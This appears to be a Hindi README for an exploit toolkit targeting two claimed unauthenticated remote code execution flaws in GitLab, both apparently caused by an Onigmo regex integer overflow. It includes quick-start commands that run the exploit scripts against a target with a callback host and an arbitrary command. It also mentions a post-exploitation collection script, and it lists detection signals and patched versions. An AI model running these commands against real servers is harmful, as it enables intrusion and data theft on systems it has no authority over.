GitLab Onigmo RCE एक्सप्लॉइट टूलकिट

CVE-2026-97229 + CVE-2026-110264 — Onigmo रेगेक्स इंजन में इंटीजर ओवरफ़्लो के माध्यम से GitLab CE/EE में दो गंभीर (CVSS 10.0) अनऑथेंटिकेटेड RCE कमज़ोरियाँ।

केवल अधिकृत परीक्षण। प्रत्येक लक्ष्य आपका होना चाहिए या लिखित प्राधिकरण द्वारा कवर किया गया होना चाहिए।

कमज़ोरियाँ

CVE	वेक्टर	प्रभावित	ट्रिगर	प्रमाणीकरण आवश्यक
CVE-2026-97229	CI/CD रेगेक्स कंपाइलर	19.2.0–19.4.1	GET /api/v4/projects/:id/ci/lint	अनऑथेंटिकेटेड ट्रिगर (सेटअप के लिए राइट एक्सेस)
CVE-2026-110264	Org-mode .org रेंडर	7.0–19.5.0	एक तैयार किया गया .org फ़ाइल रेंडर करें	कोई खाता आवश्यक नहीं

आर्किटेक्चर

दोनों CVE एक ही मूल कारण का शोषण करते हैं: Onigmo रेगेक्स इंजन इंटीजर ओवरफ़्लो → OOB राइट → VM हाईजैक → system()। अंतर केवल डिलीवरी पथ का है:

• CVE-2026-97229: .gitlab-ci.yml के rules:exists:regexp में दुर्भावनापूर्ण रेगेक्स → CI lint API
• CVE-2026-110264: .org फ़ाइल में दुर्भावनापूर्ण #+TODO: कीवर्ड → Org-mode रेंडरर

त्वरित शुरुआत

# CVE-2026-97229 — CI lint path
python3 exploit/cve97229.py --url http://target:8080 \
    --token glpat-xxx --callback-host YOUR_IP \
    --command 'id; hostname' --authorized --scope scope.txt

# CVE-2026-110264 — Org-mode path (no auth needed!)
python3 exploit/cve110264.py --url http://target:8080 \
    --callback-host YOUR_IP --command 'id'

# Probe only (no exploitation)
python3 exploit/cve97229.py --url http://target --probe-only
python3 exploit/cve110264.py --url http://target --probe-only

प्रोजेक्ट लेआउट

exploit/
├── cve97229.py       # CI lint regex RCE (CVE-2026-97229)
├── cve110264.py      # Org-mode render RCE (CVE-2026-110264)
├── layout.py         # libruby.so offset derivation
├── common.py         # shared Onigmo payload + callback server
└── post/
    └── collect.sh    # post-exploitation collection
lab/
├── run.sh            # Docker lab launcher
└── stop.sh           # Lab cleanup
docs/
├── CVE-2026-97229.md # Technical analysis
└── CVE-2026-110264.md # Technical analysis

डिटेक्शन

दोनों CVE के लिए तीन-संकेत पहचान:

1. Puma वर्कर क्रैश: [BUG] Segmentation fault के साथ org-ruby या regexp_matcher.rb फ़्रेम
2. Workhorse 502: badgateway: failed to receive response: EOF
3. Git सामग्री: (?#) विभाजित क्वांटिफ़ायर, [[:word:]] पुनरावृत्तियाँ, 4-बाइट UTF-8 पथ

ठीक किए गए संस्करण

CVE	ठीक किया गया
CVE-2026-97229	19.2.8, 19.3.5, 19.4.2
CVE-2026-110264	18.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, 19.5.1

श्रेय

• joaxcar — CVE-2026-97229 की मूल खोज (HackerOne)
• Rapid7 (Jonah Burgess) — CVE-2026-97229 का तकनीकी विश्लेषण और स्वतंत्र PoC
• gandli — CVE-2026-97229 लैब फ़्रेमवर्क संदर्भ
• GitLab Security — डिटेक्शन नियम और सलाह
• CVE-2026-110264 शोषण तकनीक GitLab के प्रकाशित डिटेक्शन नोट्स से व्युत्पन्न

लाइसेंस

MIT — केवल अधिकृत सुरक्षा परीक्षण के लिए।